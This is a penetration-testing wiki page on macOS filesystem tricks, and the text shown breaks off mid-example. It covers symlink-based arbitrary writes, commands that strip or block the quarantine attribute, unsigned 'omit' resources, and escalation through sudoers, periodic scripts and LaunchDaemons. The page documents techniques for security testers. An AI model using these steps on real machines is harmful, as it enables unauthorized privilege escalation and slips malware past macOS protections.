🤖
hacktricks
  • 👾Welcome!
    • HackTricks
    • HackTricks Values & FAQ
    • About the author
  • 🤩Generic Methodologies & Resources
    • Pentesting Methodology
    • External Recon Methodology
      • Wide Source Code Search
      • Github Dorks & Leaks
    • Pentesting Network
      • DHCPv6
      • EIGRP Attacks
      • GLBP & HSRP Attacks
      • IDS and IPS Evasion
      • Lateral VLAN Segmentation Bypass
      • Network Protocols Explained (ESP)
      • Nmap Summary (ESP)
      • Pentesting IPv6
      • WebRTC DoS
      • Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks
      • Spoofing SSDP and UPnP Devices with EvilSSDP
    • Pentesting Wifi
      • Evil Twin EAP-TLS
    • Phishing Methodology
      • Clone a Website
      • Detecting Phishing
      • Phishing Files & Documents
    • Basic Forensic Methodology
      • Baseline Monitoring
      • Anti-Forensic Techniques
      • Docker Forensics
      • Image Acquisition & Mount
      • Linux Forensics
      • Malware Analysis
      • Memory dump analysis
        • Volatility - CheatSheet
      • Partitions/File Systems/Carving
        • File/Data Carving & Recovery Tools
      • Pcap Inspection
        • DNSCat pcap analysis
        • Suricata & Iptables cheatsheet
        • USB Keystrokes
        • Wifi Pcap Analysis
        • Wireshark tricks
      • Specific Software/File-Type Tricks
        • Decompile compiled python binaries (exe, elf) - Retreive from .pyc
        • Browser Artifacts
        • Deofuscation vbs (cscript.exe)
        • Local Cloud Storage
        • Office file analysis
        • PDF File analysis
        • PNG tricks
        • Video and Audio file analysis
        • ZIPs tricks
      • Windows Artifacts
        • Interesting Windows Registry Keys
    • Brute Force - CheatSheet
    • Python Sandbox Escape & Pyscript
      • Bypass Python sandboxes
        • LOAD_NAME / LOAD_CONST opcode OOB Read
      • Class Pollution (Python's Prototype Pollution)
      • Python Internal Read Gadgets
      • Pyscript
      • venv
      • Web Requests
      • Bruteforce hash (few chars)
      • Basic Python
    • Exfiltration
    • Tunneling and Port Forwarding
    • Threat Modeling
    • Search Exploits
    • Reverse Shells (Linux, Windows, MSFVenom)
      • MSFVenom - CheatSheet
      • Reverse Shells - Windows
      • Reverse Shells - Linux
      • Full TTYs
  • 🐧Linux Hardening
    • Checklist - Linux Privilege Escalation
    • Linux Privilege Escalation
      • Arbitrary File Write to Root
      • Cisco - vmanage
      • Containerd (ctr) Privilege Escalation
      • D-Bus Enumeration & Command Injection Privilege Escalation
      • Docker Security
        • Abusing Docker Socket for Privilege Escalation
        • AppArmor
        • AuthZ& AuthN - Docker Access Authorization Plugin
        • CGroups
        • Docker --privileged
        • Docker Breakout / Privilege Escalation
          • release_agent exploit - Relative Paths to PIDs
          • Docker release_agent cgroups escape
          • Sensitive Mounts
        • Namespaces
          • CGroup Namespace
          • IPC Namespace
          • PID Namespace
          • Mount Namespace
          • Network Namespace
          • Time Namespace
          • User Namespace
          • UTS Namespace
        • Seccomp
        • Weaponizing Distroless
      • Escaping from Jails
      • euid, ruid, suid
      • Interesting Groups - Linux Privesc
        • lxd/lxc Group - Privilege escalation
      • Logstash
      • ld.so privesc exploit example
      • Linux Active Directory
      • Linux Capabilities
      • NFS no_root_squash/no_all_squash misconfiguration PE
      • Node inspector/CEF debug abuse
      • Payloads to execute
      • RunC Privilege Escalation
      • SELinux
      • Socket Command Injection
      • Splunk LPE and Persistence
      • SSH Forward Agent exploitation
      • Wildcards Spare tricks
    • Useful Linux Commands
    • Bypass Linux Restrictions
      • Bypass FS protections: read-only / no-exec / Distroless
        • DDexec / EverythingExec
    • Linux Environment Variables
    • Linux Post-Exploitation
      • PAM - Pluggable Authentication Modules
    • FreeIPA Pentesting
  • 🍏MacOS Hardening
    • macOS Security & Privilege Escalation
      • macOS Apps - Inspecting, debugging and Fuzzing
        • Objects in memory
        • Introduction to x64
        • Introduction to ARM64v8
      • macOS AppleFS
      • macOS Bypassing Firewalls
      • macOS Defensive Apps
      • macOS GCD - Grand Central Dispatch
      • macOS Kernel & System Extensions
        • macOS IOKit
        • macOS Kernel Extensions & Debugging
        • macOS Kernel Vulnerabilities
        • macOS System Extensions
      • macOS Network Services & Protocols
      • macOS File Extension & URL scheme app handlers
      • macOS Files, Folders, Binaries & Memory
        • macOS Bundles
        • macOS Installers Abuse
        • macOS Memory Dumping
        • macOS Sensitive Locations & Interesting Daemons
        • macOS Universal binaries & Mach-O Format
      • macOS Objective-C
      • macOS Privilege Escalation
      • macOS Process Abuse
        • macOS Dirty NIB
        • macOS Chromium Injection
        • macOS Electron Applications Injection
        • macOS Function Hooking
        • macOS IPC - Inter Process Communication
          • macOS MIG - Mach Interface Generator
          • macOS XPC
            • macOS XPC Authorization
            • macOS XPC Connecting Process Check
              • macOS PID Reuse
              • macOS xpc_connection_get_audit_token Attack
          • macOS Thread Injection via Task port
        • macOS Java Applications Injection
        • macOS Library Injection
          • macOS Dyld Hijacking & DYLD_INSERT_LIBRARIES
          • macOS Dyld Process
        • macOS Perl Applications Injection
        • macOS Python Applications Injection
        • macOS Ruby Applications Injection
        • macOS .Net Applications Injection
      • macOS Security Protections
        • macOS Gatekeeper / Quarantine / XProtect
        • macOS Launch/Environment Constraints & Trust Cache
        • macOS Sandbox
          • macOS Default Sandbox Debug
          • macOS Sandbox Debug & Bypass
            • macOS Office Sandbox Bypasses
        • macOS Authorizations DB & Authd
        • macOS SIP
        • macOS TCC
          • macOS Apple Events
          • macOS TCC Bypasses
            • macOS Apple Scripts
          • macOS TCC Payloads
        • macOS Dangerous Entitlements & TCC perms
        • macOS - AMFI - AppleMobileFileIntegrity
        • macOS MACF - Mandatory Access Control Framework
        • macOS Code Signing
        • macOS FS Tricks
          • macOS xattr-acls extra stuff
      • macOS Users & External Accounts
    • macOS Red Teaming
      • macOS MDM
        • Enrolling Devices in Other Organisations
        • macOS Serial Number
      • macOS Keychain
    • macOS Useful Commands
    • macOS Auto Start
  • 🪟Windows Hardening
    • Checklist - Local Windows Privilege Escalation
    • Windows Local Privilege Escalation
      • Abusing Tokens
      • Access Tokens
      • ACLs - DACLs/SACLs/ACEs
      • AppendData/AddSubdirectory permission over service registry
      • Create MSI with WIX
      • COM Hijacking
      • Dll Hijacking
        • Writable Sys Path +Dll Hijacking Privesc
      • DPAPI - Extracting Passwords
      • From High Integrity to SYSTEM with Name Pipes
      • Integrity Levels
      • JuicyPotato
      • Leaked Handle Exploitation
      • MSI Wrapper
      • Named Pipe Client Impersonation
      • Privilege Escalation with Autoruns
      • RoguePotato, PrintSpoofer, SharpEfsPotato, GodPotato
      • SeDebug + SeImpersonate copy token
      • SeImpersonate from High To System
      • Windows C Payloads
    • Active Directory Methodology
      • Abusing Active Directory ACLs/ACEs
        • Shadow Credentials
      • AD Certificates
        • AD CS Account Persistence
        • AD CS Domain Escalation
        • AD CS Domain Persistence
        • AD CS Certificate Theft
      • AD information in printers
      • AD DNS Records
      • ASREPRoast
      • BloodHound & Other AD Enum Tools
      • Constrained Delegation
      • Custom SSP
      • DCShadow
      • DCSync
      • Diamond Ticket
      • DSRM Credentials
      • External Forest Domain - OneWay (Inbound) or bidirectional
      • External Forest Domain - One-Way (Outbound)
      • Golden Ticket
      • Kerberoast
      • Kerberos Authentication
      • Kerberos Double Hop Problem
      • LAPS
      • MSSQL AD Abuse
      • Over Pass the Hash/Pass the Key
      • Pass the Ticket
      • Password Spraying / Brute Force
      • PrintNightmare
      • Force NTLM Privileged Authentication
      • Privileged Groups
      • RDP Sessions Abuse
      • Resource-based Constrained Delegation
      • Security Descriptors
      • SID-History Injection
      • Silver Ticket
      • Skeleton Key
      • Unconstrained Delegation
    • Windows Security Controls
      • UAC - User Account Control
    • NTLM
      • Places to steal NTLM creds
    • Lateral Movement
      • AtExec / SchtasksExec
      • DCOM Exec
      • PsExec/Winexec/ScExec
      • SmbExec/ScExec
      • WinRM
      • WmiExec
    • Pivoting to the Cloud
    • Stealing Windows Credentials
      • Windows Credentials Protections
      • Mimikatz
      • WTS Impersonator
    • Basic Win CMD for Pentesters
    • Basic PowerShell for Pentesters
      • PowerView/SharpView
    • Antivirus (AV) Bypass
  • 📱Mobile Pentesting
    • Android APK Checklist
    • Android Applications Pentesting
      • Android Applications Basics
      • Android Task Hijacking
      • ADB Commands
      • APK decompilers
      • AVD - Android Virtual Device
      • Bypass Biometric Authentication (Android)
      • content:// protocol
      • Drozer Tutorial
        • Exploiting Content Providers
      • Exploiting a debuggeable application
      • Frida Tutorial
        • Frida Tutorial 1
        • Frida Tutorial 2
        • Frida Tutorial 3
        • Objection Tutorial
      • Google CTF 2018 - Shall We Play a Game?
      • Install Burp Certificate
      • Intent Injection
      • Make APK Accept CA Certificate
      • Manual DeObfuscation
      • React Native Application
      • Reversing Native Libraries
      • Smali - Decompiling/[Modifying]/Compiling
      • Spoofing your location in Play Store
      • Tapjacking
      • Webview Attacks
    • iOS Pentesting Checklist
    • iOS Pentesting
      • iOS App Extensions
      • iOS Basics
      • iOS Basic Testing Operations
      • iOS Burp Suite Configuration
      • iOS Custom URI Handlers / Deeplinks / Custom Schemes
      • iOS Extracting Entitlements From Compiled Application
      • iOS Frida Configuration
      • iOS Hooking With Objection
      • iOS Protocol Handlers
      • iOS Serialisation and Encoding
      • iOS Testing Environment
      • iOS UIActivity Sharing
      • iOS Universal Links
      • iOS UIPasteboard
      • iOS WebViews
    • Cordova Apps
    • Xamarin Apps
  • 👽Network Services Pentesting
    • Pentesting JDWP - Java Debug Wire Protocol
    • Pentesting Printers
    • Pentesting SAP
    • Pentesting VoIP
      • Basic VoIP Protocols
        • SIP (Session Initiation Protocol)
    • Pentesting Remote GdbServer
    • 7/tcp/udp - Pentesting Echo
    • 21 - Pentesting FTP
      • FTP Bounce attack - Scan
      • FTP Bounce - Download 2ºFTP file
    • 22 - Pentesting SSH/SFTP
    • 23 - Pentesting Telnet
    • 25,465,587 - Pentesting SMTP/s
      • SMTP Smuggling
      • SMTP - Commands
    • 43 - Pentesting WHOIS
    • 49 - Pentesting TACACS+
    • 53 - Pentesting DNS
    • 69/UDP TFTP/Bittorrent-tracker
    • 79 - Pentesting Finger
    • 80,443 - Pentesting Web Methodology
      • 403 & 401 Bypasses
      • AEM - Adobe Experience Cloud
      • Angular
      • Apache
      • Artifactory Hacking guide
      • Bolt CMS
      • Buckets
        • Firebase Database
      • CGI
      • DotNetNuke (DNN)
      • Drupal
        • Drupal RCE
      • Electron Desktop Apps
        • Electron contextIsolation RCE via preload code
        • Electron contextIsolation RCE via Electron internal code
        • Electron contextIsolation RCE via IPC
      • Flask
      • NodeJS Express
      • Git
      • Golang
      • GWT - Google Web Toolkit
      • Grafana
      • GraphQL
      • H2 - Java SQL database
      • IIS - Internet Information Services
      • ImageMagick Security
      • JBOSS
      • Jira & Confluence
      • Joomla
      • JSP
      • Laravel
      • Moodle
      • Nginx
      • NextJS
      • PHP Tricks
        • PHP - Useful Functions & disable_functions/open_basedir bypass
          • disable_functions bypass - php-fpm/FastCGI
          • disable_functions bypass - dl function
          • disable_functions bypass - PHP 7.0-7.4 (*nix only)
          • disable_functions bypass - Imagick <= 3.3.0 PHP >= 5.4 Exploit
          • disable_functions - PHP 5.x Shellshock Exploit
          • disable_functions - PHP 5.2.4 ionCube extension Exploit
          • disable_functions bypass - PHP <= 5.2.9 on windows
          • disable_functions bypass - PHP 5.2.4 and 5.2.5 PHP cURL
          • disable_functions bypass - PHP safe_mode bypass via proc_open() and custom environment Exploit
          • disable_functions bypass - PHP Perl Extension Safe_mode Bypass Exploit
          • disable_functions bypass - PHP 5.2.3 - Win32std ext Protections Bypass
          • disable_functions bypass - PHP 5.2 - FOpen Exploit
          • disable_functions bypass - via mem
          • disable_functions bypass - mod_cgi
          • disable_functions bypass - PHP 4 >= 4.2.0, PHP 5 pcntl_exec
        • PHP - RCE abusing object creation: new $_GET["a"]($_GET["b"])
        • PHP SSRF
      • PrestaShop
      • Python
      • Rocket Chat
      • Special HTTP headers
      • Source code Review / SAST Tools
      • Spring Actuators
      • Symfony
      • Tomcat
        • Basic Tomcat Info
      • Uncovering CloudFlare
      • VMWare (ESX, VCenter...)
      • Web API Pentesting
      • WebDav
      • Werkzeug / Flask Debug
      • Wordpress
    • 88tcp/udp - Pentesting Kerberos
      • Harvesting tickets from Windows
      • Harvesting tickets from Linux
    • 110,995 - Pentesting POP
    • 111/TCP/UDP - Pentesting Portmapper
    • 113 - Pentesting Ident
    • 123/udp - Pentesting NTP
    • 135, 593 - Pentesting MSRPC
    • 137,138,139 - Pentesting NetBios
    • 139,445 - Pentesting SMB
      • rpcclient enumeration
    • 143,993 - Pentesting IMAP
    • 161,162,10161,10162/udp - Pentesting SNMP
      • Cisco SNMP
      • SNMP RCE
    • 194,6667,6660-7000 - Pentesting IRC
    • 264 - Pentesting Check Point FireWall-1
    • 389, 636, 3268, 3269 - Pentesting LDAP
    • 500/udp - Pentesting IPsec/IKE VPN
    • 502 - Pentesting Modbus
    • 512 - Pentesting Rexec
    • 513 - Pentesting Rlogin
    • 514 - Pentesting Rsh
    • 515 - Pentesting Line Printer Daemon (LPD)
    • 548 - Pentesting Apple Filing Protocol (AFP)
    • 554,8554 - Pentesting RTSP
    • 623/UDP/TCP - IPMI
    • 631 - Internet Printing Protocol(IPP)
    • 700 - Pentesting EPP
    • 873 - Pentesting Rsync
    • 1026 - Pentesting Rusersd
    • 1080 - Pentesting Socks
    • 1098/1099/1050 - Pentesting Java RMI - RMI-IIOP
    • 1414 - Pentesting IBM MQ
    • 1433 - Pentesting MSSQL - Microsoft SQL Server
      • Types of MSSQL Users
    • 1521,1522-1529 - Pentesting Oracle TNS Listener
    • 1723 - Pentesting PPTP
    • 1883 - Pentesting MQTT (Mosquitto)
    • 2049 - Pentesting NFS Service
    • 2301,2381 - Pentesting Compaq/HP Insight Manager
    • 2375, 2376 Pentesting Docker
    • 3128 - Pentesting Squid
    • 3260 - Pentesting ISCSI
    • 3299 - Pentesting SAPRouter
    • 3306 - Pentesting Mysql
    • 3389 - Pentesting RDP
    • 3632 - Pentesting distcc
    • 3690 - Pentesting Subversion (svn server)
    • 3702/UDP - Pentesting WS-Discovery
    • 4369 - Pentesting Erlang Port Mapper Daemon (epmd)
    • 4786 - Cisco Smart Install
    • 4840 - OPC Unified Architecture
    • 5000 - Pentesting Docker Registry
    • 5353/UDP Multicast DNS (mDNS) and DNS-SD
    • 5432,5433 - Pentesting Postgresql
    • 5439 - Pentesting Redshift
    • 5555 - Android Debug Bridge
    • 5601 - Pentesting Kibana
    • 5671,5672 - Pentesting AMQP
    • 5800,5801,5900,5901 - Pentesting VNC
    • 5984,6984 - Pentesting CouchDB
    • 5985,5986 - Pentesting WinRM
    • 5985,5986 - Pentesting OMI
    • 6000 - Pentesting X11
    • 6379 - Pentesting Redis
    • 8009 - Pentesting Apache JServ Protocol (AJP)
    • 8086 - Pentesting InfluxDB
    • 8089 - Pentesting Splunkd
    • 8333,18333,38333,18444 - Pentesting Bitcoin
    • 9000 - Pentesting FastCGI
    • 9001 - Pentesting HSQLDB
    • 9042/9160 - Pentesting Cassandra
    • 9100 - Pentesting Raw Printing (JetDirect, AppSocket, PDL-datastream)
    • 9200 - Pentesting Elasticsearch
    • 10000 - Pentesting Network Data Management Protocol (ndmp)
    • 11211 - Pentesting Memcache
      • Memcache Commands
    • 15672 - Pentesting RabbitMQ Management
    • 24007,24008,24009,49152 - Pentesting GlusterFS
    • 27017,27018 - Pentesting MongoDB
    • 44134 - Pentesting Tiller (Helm)
    • 44818/UDP/TCP - Pentesting EthernetIP
    • 47808/udp - Pentesting BACNet
    • 50030,50060,50070,50075,50090 - Pentesting Hadoop
  • 🕸️Pentesting Web
    • Web Vulnerabilities Methodology
    • Reflecting Techniques - PoCs and Polygloths CheatSheet
      • Web Vulns List
    • 2FA/MFA/OTP Bypass
    • Account Takeover
    • Browser Extension Pentesting Methodology
      • BrowExt - ClickJacking
      • BrowExt - permissions & host_permissions
      • BrowExt - XSS Example
    • Bypass Payment Process
    • Captcha Bypass
    • Cache Poisoning and Cache Deception
      • Cache Poisoning via URL discrepancies
      • Cache Poisoning to DoS
    • Clickjacking
    • Client Side Template Injection (CSTI)
    • Client Side Path Traversal
    • Command Injection
    • Content Security Policy (CSP) Bypass
      • CSP bypass: self + 'unsafe-inline' with Iframes
    • Cookies Hacking
      • Cookie Tossing
      • Cookie Jar Overflow
      • Cookie Bomb
    • CORS - Misconfigurations & Bypass
    • CRLF (%0D%0A) Injection
    • CSRF (Cross Site Request Forgery)
    • Dangling Markup - HTML scriptless injection
      • SS-Leaks
    • Dependency Confusion
    • Deserialization
      • NodeJS - __proto__ & prototype Pollution
        • Client Side Prototype Pollution
        • Express Prototype Pollution Gadgets
        • Prototype Pollution to RCE
      • Java JSF ViewState (.faces) Deserialization
      • Java DNS Deserialization, GadgetProbe and Java Deserialization Scanner
      • Basic Java Deserialization (ObjectInputStream, readObject)
      • PHP - Deserialization + Autoload Classes
      • CommonsCollection1 Payload - Java Transformers to Rutime exec() and Thread Sleep
      • Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)
      • Exploiting __VIEWSTATE knowing the secrets
      • Exploiting __VIEWSTATE without knowing the secrets
      • Python Yaml Deserialization
      • JNDI - Java Naming and Directory Interface & Log4Shell
      • Ruby Class Pollution
    • Domain/Subdomain takeover
    • Email Injections
    • File Inclusion/Path traversal
      • phar:// deserialization
      • LFI2RCE via PHP Filters
      • LFI2RCE via Nginx temp files
      • LFI2RCE via PHP_SESSION_UPLOAD_PROGRESS
      • LFI2RCE via Segmentation Fault
      • LFI2RCE via phpinfo()
      • LFI2RCE Via temp file uploads
      • LFI2RCE via Eternal waiting
      • LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure
    • File Upload
      • PDF Upload - XXE and CORS bypass
    • Formula/CSV/Doc/LaTeX/GhostScript Injection
    • gRPC-Web Pentest
    • HTTP Connection Contamination
    • HTTP Connection Request Smuggling
    • HTTP Request Smuggling / HTTP Desync Attack
      • Browser HTTP Request Smuggling
      • Request Smuggling in HTTP/2 Downgrades
    • HTTP Response Smuggling / Desync
    • Upgrade Header Smuggling
    • hop-by-hop headers
    • IDOR
    • JWT Vulnerabilities (Json Web Tokens)
    • LDAP Injection
    • Login Bypass
      • Login bypass List
    • NoSQL injection
    • OAuth to Account takeover
    • Open Redirect
    • ORM Injection
    • Parameter Pollution
    • Phone Number Injections
    • PostMessage Vulnerabilities
      • Blocking main page to steal postmessage
      • Bypassing SOP with Iframes - 1
      • Bypassing SOP with Iframes - 2
      • Steal postmessage modifying iframe location
    • Proxy / WAF Protections Bypass
    • Race Condition
    • Rate Limit Bypass
    • Registration & Takeover Vulnerabilities
    • Regular expression Denial of Service - ReDoS
    • Reset/Forgotten Password Bypass
    • Reverse Tab Nabbing
    • SAML Attacks
      • SAML Basics
    • Server Side Inclusion/Edge Side Inclusion Injection
    • SQL Injection
      • MS Access SQL Injection
      • MSSQL Injection
      • MySQL injection
        • MySQL File priv to SSRF/RCE
      • Oracle injection
      • Cypher Injection (neo4j)
      • PostgreSQL injection
        • dblink/lo_import data exfiltration
        • PL/pgSQL Password Bruteforce
        • Network - Privesc, Port Scanner and NTLM chanllenge response disclosure
        • Big Binary Files Upload (PostgreSQL)
        • RCE with PostgreSQL Languages
        • RCE with PostgreSQL Extensions
      • SQLMap - CheatSheet
        • Second Order Injection - SQLMap
    • SSRF (Server Side Request Forgery)
      • URL Format Bypass
      • SSRF Vulnerable Platforms
      • Cloud SSRF
    • SSTI (Server Side Template Injection)
      • EL - Expression Language
      • Jinja2 SSTI
    • Timing Attacks
    • Unicode Injection
      • Unicode Normalization
    • UUID Insecurities
    • WebSocket Attacks
    • Web Tool - WFuzz
    • XPATH injection
    • XSLT Server Side Injection (Extensible Stylesheet Language Transformations)
    • XXE - XEE - XML External Entity
    • XSS (Cross Site Scripting)
      • Abusing Service Workers
      • Chrome Cache to XSS
      • Debugging Client Side JS
      • Dom Clobbering
      • DOM Invader
      • DOM XSS
      • Iframes in XSS, CSP and SOP
      • Integer Overflow
      • JS Hoisting
      • Misc JS Tricks & Relevant Info
      • PDF Injection
      • Server Side XSS (Dynamic PDF)
      • Shadow DOM
      • SOME - Same Origin Method Execution
      • Sniff Leak
      • Steal Info JS
      • XSS in Markdown
    • XSSI (Cross-Site Script Inclusion)
    • XS-Search/XS-Leaks
      • Connection Pool Examples
      • Connection Pool by Destination Example
      • Cookie Bomb + Onerror XS Leak
      • URL Max Length - Client Side
      • performance.now example
      • performance.now + Force heavy task
      • Event Loop Blocking + Lazy images
      • JavaScript Execution XS Leak
      • CSS Injection
        • CSS Injection Code
    • Iframe Traps
  • ⛈️Cloud Security
    • Pentesting Kubernetes
    • Pentesting Cloud (AWS, GCP, Az...)
    • Pentesting CI/CD (Github, Jenkins, Terraform...)
  • 😎Hardware/Physical Access
    • Physical Attacks
    • Escaping from KIOSKs
    • Firmware Analysis
      • Bootloader testing
      • Firmware Integrity
  • 🎯Binary Exploitation
    • Basic Stack Binary Exploitation Methodology
      • ELF Basic Information
      • Exploiting Tools
        • PwnTools
    • Stack Overflow
      • Pointer Redirecting
      • Ret2win
        • Ret2win - arm64
      • Stack Shellcode
        • Stack Shellcode - arm64
      • Stack Pivoting - EBP2Ret - EBP chaining
      • Uninitialized Variables
    • ROP - Return Oriented Programing
      • BROP - Blind Return Oriented Programming
      • Ret2csu
      • Ret2dlresolve
      • Ret2esp / Ret2reg
      • Ret2lib
        • Leaking libc address with ROP
          • Leaking libc - template
        • One Gadget
        • Ret2lib + Printf leak - arm64
      • Ret2syscall
        • Ret2syscall - ARM64
      • Ret2vDSO
      • SROP - Sigreturn-Oriented Programming
        • SROP - ARM64
    • Array Indexing
    • Integer Overflow
    • Format Strings
      • Format Strings - Arbitrary Read Example
      • Format Strings Template
    • Libc Heap
      • Bins & Memory Allocations
      • Heap Memory Functions
        • free
        • malloc & sysmalloc
        • unlink
        • Heap Functions Security Checks
      • Use After Free
        • First Fit
      • Double Free
      • Overwriting a freed chunk
      • Heap Overflow
      • Unlink Attack
      • Fast Bin Attack
      • Unsorted Bin Attack
      • Large Bin Attack
      • Tcache Bin Attack
      • Off by one overflow
      • House of Spirit
      • House of Lore | Small bin Attack
      • House of Einherjar
      • House of Force
      • House of Orange
      • House of Rabbit
      • House of Roman
    • Common Binary Exploitation Protections & Bypasses
      • ASLR
        • Ret2plt
        • Ret2ret & Reo2pop
      • CET & Shadow Stack
      • Libc Protections
      • Memory Tagging Extension (MTE)
      • No-exec / NX
      • PIE
        • BF Addresses in the Stack
      • Relro
      • Stack Canaries
        • BF Forked & Threaded Stack Canaries
        • Print Stack Canary
    • Write What Where 2 Exec
      • WWW2Exec - atexit()
      • WWW2Exec - .dtors & .fini_array
      • WWW2Exec - GOT/PLT
      • WWW2Exec - __malloc_hook & __free_hook
    • Common Exploiting Problems
    • Windows Exploiting (Basic Guide - OSCP lvl)
    • iOS Exploiting
  • 🔩Reversing
    • Reversing Tools & Basic Methods
      • Angr
        • Angr - Examples
      • Z3 - Satisfiability Modulo Theories (SMT)
      • Cheat Engine
      • Blobrunner
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On this page
  • POSIX permissions combinations
  • Dangerous Combinations
  • Folder root R+X Special case
  • Symbolic Link / Hard Link
  • .fileloc
  • Arbitrary FD
  • Avoid quarantine xattrs tricks
  • Remove it
  • uchg / uchange / uimmutable flag
  • defvfs mount
  • writeextattr ACL
  • com.apple.acl.text xattr + AppleDouble
  • Bypass Code Signatures
  • Mount dmgs
  • Arbitrary Writes
  • Periodic sh scripts
  • Daemons
  • Sudoers File
  • PATH files
  • Generate writable files as other users
  • POSIX Shared Memory
  • macOS Guarded Descriptors
  • References
Edit on GitHub
  1. MacOS Hardening
  2. macOS Security & Privilege Escalation
  3. macOS Security Protections

macOS FS Tricks

PreviousmacOS Code SigningNextmacOS xattr-acls extra stuff

Last updated 8 months ago

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POSIX permissions combinations

Permissions in a directory:

  • read - you can enumerate the directory entries

  • write - you can delete/write files in the directory and you can delete empty folders.

    • But you cannot delete/modify non-empty folders unless you have write permissions over it.

    • You cannot modify the name of a folder unless you own it.

  • execute - you are allowed to traverse the directory - if you don’t have this right, you can’t access any files inside it, or in any subdirectories.

Dangerous Combinations

How to overwrite a file/folder owned by root, but:

  • One parent directory owner in the path is the user

  • One parent directory owner in the path is a users group with write access

  • A users group has write access to the file

With any of the previous combinations, an attacker could inject a sym/hard link the expected path to obtain a privileged arbitrary write.

Folder root R+X Special case

If there are files in a directory where only root has R+X access, those are not accessible to anyone else. So a vulnerability allowing to move a file readable by a user, that cannot be read because of that restriction, from this folder to a different one, could be abuse to read these files.

Symbolic Link / Hard Link

If a privileged process is writing data in file that could be controlled by a lower privileged user, or that could be previously created by a lower privileged user. The user could just point it to another file via a Symbolic or Hard link, and the privileged process will write on that file.

Check in the other sections where an attacker could abuse an arbitrary write to escalate privileges.

.fileloc

Files with .fileloc extension can point to other applications or binaries so when they are open, the application/binary will be the one executed. Example:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
    <key>URL</key>
    <string>file:///System/Applications/Calculator.app</string>
    <key>URLPrefix</key>
    <integer>0</integer>
</dict>
</plist>

Arbitrary FD

If you can make a process open a file or a folder with high privileges, you can abuse crontab to open a file in /etc/sudoers.d with EDITOR=exploit.py, so the exploit.py will get the FD to the file inside /etc/sudoers and abuse it.

Avoid quarantine xattrs tricks

Remove it

xattr -d com.apple.quarantine /path/to/file_or_app

uchg / uchange / uimmutable flag

If a file/folder has this immutable attribute it won't be possible to put an xattr on it

echo asd > /tmp/asd
chflags uchg /tmp/asd # "chflags uchange /tmp/asd" or "chflags uimmutable /tmp/asd"
xattr -w com.apple.quarantine "" /tmp/asd
xattr: [Errno 1] Operation not permitted: '/tmp/asd'

ls -lO /tmp/asd
# check the "uchg" in the output

defvfs mount

mkdir /tmp/mnt
mount_devfs -o noowners none "/tmp/mnt"
chmod 777 /tmp/mnt
mkdir /tmp/mnt/lol
xattr -w com.apple.quarantine "" /tmp/mnt/lol
xattr: [Errno 1] Operation not permitted: '/tmp/mnt/lol'

writeextattr ACL

This ACL prevents from adding xattrs to the file

rm -rf /tmp/test*
echo test >/tmp/test
chmod +a "everyone deny write,writeattr,writeextattr,writesecurity,chown" /tmp/test
ls -le /tmp/test
ditto -c -k test test.zip
# Download the zip from the browser and decompress it, the file should be without a quarantine xattr

cd /tmp
echo y | rm test

# Decompress it with ditto
ditto -x -k --rsrc test.zip .
ls -le /tmp/test

# Decompress it with open (if sandboxed decompressed files go to the Downloads folder)
open test.zip
sleep 1
ls -le /tmp/test

com.apple.acl.text xattr + AppleDouble

AppleDouble file format copies a file including its ACEs.

To replicate this we first need to get the correct acl string:

# Everything will be happening here
mkdir /tmp/temp_xattrs
cd /tmp/temp_xattrs

# Create a folder and a file with the acls and xattr
mkdir del
mkdir del/test_fold
echo test > del/test_fold/test_file
chmod +a "everyone deny write,writeattr,writeextattr,writesecurity,chown" del/test_fold
chmod +a "everyone deny write,writeattr,writeextattr,writesecurity,chown" del/test_fold/test_file
ditto -c -k del test.zip

# uncomporess to get it back
ditto -x -k --rsrc test.zip .
ls -le test

(Note that even if this works the sandbox write the quarantine xattr before)

Not really needed but I leave it there just in case:

Bypass Code Signatures

Bundles contains the file _CodeSignature/CodeResources which contains the hash of every single file in the bundle. Note that the hash of CodeResources is also embedded in the executable, so we can't mess with that, either.

However, there are some files whose signature won't be checked, these have the key omit in the plist, like:

<dict>
...
	<key>rules</key>
	<dict>
...
		<key>^Resources/.*\.lproj/locversion.plist$</key>
		<dict>
			<key>omit</key>
			<true/>
			<key>weight</key>
			<real>1100</real>
		</dict>
...
	</dict>
	<key>rules2</key>
...
		<key>^(.*/)?\.DS_Store$</key>
		<dict>
			<key>omit</key>
			<true/>
			<key>weight</key>
			<real>2000</real>
		</dict>
...
		<key>^PkgInfo$</key>
		<dict>
			<key>omit</key>
			<true/>
			<key>weight</key>
			<real>20</real>
		</dict>
...
		<key>^Resources/.*\.lproj/locversion.plist$</key>
		<dict>
			<key>omit</key>
			<true/>
			<key>weight</key>
			<real>1100</real>
		</dict>
...
</dict>

It's possible to calculate the signature of a resource from the cli with:

openssl dgst -binary -sha1 /System/Cryptexes/App/System/Applications/Safari.app/Contents/Resources/AppIcon.icns | openssl base64

Mount dmgs

A user can mount a custom dmg created even on top of some existing folders. This is how you could create a custom dmg package with custom content:

# Create the volume
hdiutil create /private/tmp/tmp.dmg -size 2m -ov -volname CustomVolName -fs APFS 1>/dev/null
mkdir /private/tmp/mnt

# Mount it
hdiutil attach -mountpoint /private/tmp/mnt /private/tmp/tmp.dmg 1>/dev/null

# Add custom content to the volume
mkdir /private/tmp/mnt/custom_folder
echo "hello" > /private/tmp/mnt/custom_folder/custom_file

# Detach it
hdiutil detach /private/tmp/mnt 1>/dev/null

# Next time you mount it, it will have the custom content you wrote

# You can also create a dmg from an app using:
hdiutil create -srcfolder justsome.app justsome.dmg 

Usually macOS mounts disk talking to the com.apple.DiskArbitrarion.diskarbitrariond Mach service (provided by /usr/libexec/diskarbitrationd). If adding the param -d to the LaunchDaemons plist file and restarted, it will store logs it will store logs in /var/log/diskarbitrationd.log. However, it's possible to use tools like hdik and hdiutil to communicate directly with the com.apple.driver.DiskImages kext.

Arbitrary Writes

Periodic sh scripts

If your script could be interpreted as a shell script you could overwrite the /etc/periodic/daily/999.local shell script that will be triggered every day.

You can fake an execution of this script with: sudo periodic daily

Daemons

Write an arbitrary LaunchDaemon like /Library/LaunchDaemons/xyz.hacktricks.privesc.plist with a plist executing an arbitrary script like:

<?xml version="1.0" encoding="UTF-8"?>
